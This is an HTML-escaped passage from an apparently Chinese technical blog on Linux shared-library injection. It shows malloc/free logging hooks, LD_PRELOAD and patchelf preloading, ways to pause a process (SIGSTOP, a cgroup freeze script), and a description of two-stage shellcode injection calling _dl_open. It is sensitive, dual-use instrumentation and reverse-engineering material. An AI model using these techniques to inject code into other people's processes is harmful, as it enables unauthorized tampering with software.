&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;prev_chunk&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) ((mchunkptr) (((&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;char &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;) (p)) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;- &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;prev_size (p)))
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;&#x2F;&#x2F;---------------end-----------------
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef void&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;sys_malloc_t)(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t&lt;&#x2F;span&gt;&lt;span&gt; size);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;static&lt;&#x2F;span&gt;&lt;span&gt; sys_malloc_t g_sys_malloc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;malloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    TRY_LOAD_HOOK_FUNC(malloc);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;g_sys_malloc(size);
&lt;&#x2F;span&gt;&lt;span&gt;    __log(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;malloc: size=0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%zX&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;, ptr=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,size,p);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; p;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef void&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;sys_calloc_t)(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t&lt;&#x2F;span&gt;&lt;span&gt; num,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t&lt;&#x2F;span&gt;&lt;span&gt; size);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;static&lt;&#x2F;span&gt;&lt;span&gt; sys_calloc_t g_sys_calloc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;calloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;num&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;size&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    TRY_LOAD_HOOK_FUNC(calloc);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;g_sys_calloc(num,size);
&lt;&#x2F;span&gt;&lt;span&gt;    __log(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;calloc: num=0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%zX&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;, size=0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%zX&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;, ptr=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,num,size,p);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; p;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef void&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;sys_realloc_t)(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;old, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t&lt;&#x2F;span&gt;&lt;span&gt; new_size);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;static&lt;&#x2F;span&gt;&lt;span&gt; sys_realloc_t g_sys_realloc&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;realloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;old&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;size_t &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;new_size&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    TRY_LOAD_HOOK_FUNC(realloc);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;g_sys_realloc(old,new_size);
&lt;&#x2F;span&gt;&lt;span&gt;    __log(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;realloc: old_ptr=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;, new_ptr=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;, new_size=0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%zX&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,old,p,new_size);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;return&lt;&#x2F;span&gt;&lt;span&gt; p;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;typedef void &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;sys_free_t)(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;ptr);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;static&lt;&#x2F;span&gt;&lt;span&gt; sys_free_t g_sys_free &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffc66d;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;ptr&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;    TRY_LOAD_HOOK_FUNC(free);
&lt;&#x2F;span&gt;&lt;span&gt;    g_sys_free(ptr);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt;(ptr){
&lt;&#x2F;span&gt;&lt;span&gt;        __log(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;free: size=0x&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%zX&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;, ptr=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;%p&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,chunksize(mem2chunk(ptr)),ptr);
&lt;&#x2F;span&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else&lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;        __log(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;free: Null pointer&lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;dong-tai-ku-zhu-ru&quot;&gt;动态库注入&lt;&#x2F;h1&gt;
&lt;p&gt;在Linux中，让一个进程加载指定的动态链接库(.so文件)的方法比windows少得多，局限性也较大。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yun-xing-qian-zhi-ding&quot;&gt;运行前指定&lt;&#x2F;h2&gt;
&lt;p&gt;这种方式适用于在运行前加上指定环境变量或者直接修改ELF可执行文件，可以在程序运行最开始时运行某段代码，或执行函数hook等。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;preload&quot;&gt;preload&lt;&#x2F;h3&gt;
&lt;p&gt;preload参数可以让ld加载程序前加载指定动态库。有两种方式实现&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;LD_PRELOAD&lt;&#x2F;code&gt;是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man8&#x2F;ld.so.8.html&quot;&gt;ld.so&lt;&#x2F;a&gt;加载程序时会看的一个环境变量。可以指定一个或多个动态库(用空格或者分号隔开)。该环境变量里的动态库会按从左到右的顺序加载。但是如果程序中可以通过检测该环境变量来反注入。&lt;&#x2F;li&gt;
&lt;li&gt;使用ld的&lt;code&gt;--preload&lt;&#x2F;code&gt;参数，这种方式可以在程序内部通过读取&lt;code&gt;&#x2F;proc&#x2F;self&#x2F;cmdline&lt;&#x2F;code&gt;探测到。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;LD_PRELOAD&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;.&#x2F;injection.so &lt;&#x2F;span&gt;&lt;span&gt;.&#x2F;target
&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;lib64&#x2F;ld-linux-x86-64.so.2&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; --preload&lt;&#x2F;span&gt;&lt;span&gt; .&#x2F;injection.so .&#x2F;target
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;patchelf&quot;&gt;Patchelf&lt;&#x2F;h3&gt;
&lt;p&gt;使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;NixOS&#x2F;patchelf&quot;&gt;NixOS&#x2F;patchelf&lt;&#x2F;a&gt;工具，直接修改可执行文件，可以通过&lt;code&gt;--add-needed&lt;&#x2F;code&gt;强制添加一个依赖，就不用每次启动都加上环境变量或者用ld启动。这种方式会修改文件，如果程序有签名校验等操作，就难以绕过。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span&gt;patchelf&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; --add-needed&lt;&#x2F;span&gt;&lt;span&gt; injection.so .&#x2F;target
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yun-xing-shi-zhu-ru&quot;&gt;运行时注入&lt;&#x2F;h2&gt;
&lt;p&gt;运行时注入大概dlsym分为以下几步：先让程序停下来，然后将shellcode写入rip指向的位置，最后让程序恢复执行。&lt;&#x2F;p&gt;
&lt;p&gt;根据这个原理，重构了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;MordragT&#x2F;injex&quot;&gt;MordragT&#x2F;injex&lt;&#x2F;a&gt;，并增加了一些新功能，放在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;injex&quot;&gt;ri-char&#x2F;injex&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;rang-cheng-xu-ting-xia-lai&quot;&gt;让程序停下来&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ptrace&quot;&gt;Ptrace&lt;&#x2F;h4&gt;
&lt;p&gt;ptrace是设计给调试器使用的。因此可以通过ptrace附加到目标进程上，控制目标进程是否执行。&lt;&#x2F;p&gt;
&lt;p&gt;局限性：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;需要root权限或者给&lt;code&gt;&#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;yama&#x2F;ptrace_scope&lt;&#x2F;code&gt;写入1&lt;&#x2F;li&gt;
&lt;li&gt;如果目标进程上已经被ptrace了，就无法使用这种方式。例如ptrace反调试，先自己启一个进程调试关键进程，这样其他进程都调不上来了&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;由于其局限性较大，所以一般不采用该方式，在injex中也未实现该种方式。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;signal&quot;&gt;Signal&lt;&#x2F;h4&gt;
&lt;p&gt;ptrace会在attach时给目标进程发送&lt;code&gt;SIGSTOP&lt;&#x2F;code&gt;信号，那我们也可以直接给目标进程发送该信号。当一个进程收到该信号后会进入&lt;code&gt;Stopped&lt;&#x2F;code&gt;状态，并且无法屏蔽该信号。当收到&lt;code&gt;SIGCONT&lt;&#x2F;code&gt;信号时，该进程才会继续执行。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;DavidBuchanan314&#x2F;dlinject&quot;&gt;DavidBuchanan314&#x2F;dlinject&lt;&#x2F;a&gt;中默认的方式就是这种方式。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;kill&lt;&#x2F;span&gt;&lt;span&gt; -SIGSTOP $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pid
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;kill&lt;&#x2F;span&gt;&lt;span&gt; -SIGCONT $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pid
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;cgroups&quot;&gt;CGroups&lt;&#x2F;h4&gt;
&lt;p&gt;CGroups是linux内核中给进程用于限制、统计、隔离各类系统资源的特性。他有两个不兼容的版本v1以及&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;html&#x2F;latest&#x2F;admin-guide&#x2F;cgroup-v2.html&quot;&gt;v2&lt;&#x2F;a&gt;。我们可以创建一个CGroup，并将目标进程放入CGroup中，然后可以冻结这个CGroup，来实现暂停进程的功能。但是这种方式需要root权限。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;DavidBuchanan314&#x2F;dlinject&quot;&gt;DavidBuchanan314&#x2F;dlinject&lt;&#x2F;a&gt;中也实现了该方式，但是它针对的是CGroups v1。在v2中，实现的bash脚本大致如下需要(root权限)：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;export &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;xxx
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 暂停程序
&lt;&#x2F;span&gt;&lt;span&gt;mkdir &#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;injex_$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 创建名为injex_$PID的cgroup
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;echo &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;injex_$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;cgroup.procs &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 将目标进程加入至injex_$PID
&lt;&#x2F;span&gt;&lt;span&gt;echo 1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;injex_$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;cgroup.freeze &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 将此cgroup冻结
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 查看是否已经处于冻结状态
&lt;&#x2F;span&gt;&lt;span&gt;cat &#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;injex_$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;cgroup.events
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 恢复执行
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;echo &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;cgroup.procs &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 将目标进程放回默认cgroup
&lt;&#x2F;span&gt;&lt;span&gt;rmdir &#x2F;sys&#x2F;fs&#x2F;cgroup&#x2F;injex_$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;PID &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 将创建的进程组删掉
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xie-ru-shellcode&quot;&gt;写入shellcode&lt;&#x2F;h3&gt;
&lt;p&gt;将程序暂停下来后可以通过&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;syscall&lt;&#x2F;code&gt;文件来获取目标进程此时的&lt;code&gt;rip&lt;&#x2F;code&gt;和&lt;code&gt;rsp&lt;&#x2F;code&gt;寄存器。然后向&lt;code&gt;rip&lt;&#x2F;code&gt;指向的地址写入shellcode。然是如果在这段shellcode中直接调用&lt;code&gt;_dl_open&lt;&#x2F;code&gt;，那么加载进来的动态库构造函数可能会破坏当前进程的栈，因此先备份一遍栈上内容，然后调用加载动态库，加载后将备份的内容恢复。&lt;&#x2F;p&gt;
&lt;p&gt;那如何将备份的内容恢复呢，当然可以再次让程序停下来，但这样成本太高，通常我们把要恢复的内容、以及恢复内容的代码也写入目标进程，然后直接让目标进程执行。&lt;&#x2F;p&gt;
&lt;p&gt;所以shellcode分为两段，第一段shellcode用mmap系统调用开辟空间，然后通过读取文件或者打开共享内存的方式加载第二段shellcode。第二段shellcode里面先调用&lt;code&gt;_dl_open&lt;&#x2F;code&gt;加载动态库，然后再恢复寄存器、栈等信息，最后跳回原来的程序继续执行。具体的代码可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;DavidBuchanan314&#x2F;dlinject&#x2F;blob&#x2F;master&#x2F;dlinject.py&quot;&gt;dlinject.py&lt;&#x2F;a&gt;。在实际编写代码中还遇到一个小坑，就是解析&lt;code&gt;ld.so&lt;&#x2F;code&gt;的符号的时候没有找到&lt;code&gt;_dl_open&lt;&#x2F;code&gt;，甚至还换了一个解析ELF文件的库，后来发现是因为&lt;code&gt;ld.so&lt;&#x2F;code&gt;的调试文件是分离的，应当单独加载调试文件，然后解析符号位置，调试文件位置可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;gdb&#x2F;onlinedocs&#x2F;gdb&#x2F;Separate-Debug-Files.html&quot;&gt;GDB的加载顺序&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;修改目标进程的内存有三种方式，他们都和ptrace需要相同的权限：有CAP_SYS_PTRACE或和目标进程是同一用户并且系统允许普通用户调试。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;tong-guo-proc-pid-mem&quot;&gt;通过&#x2F;proc&#x2F;pid&#x2F;mem&lt;&#x2F;h4&gt;
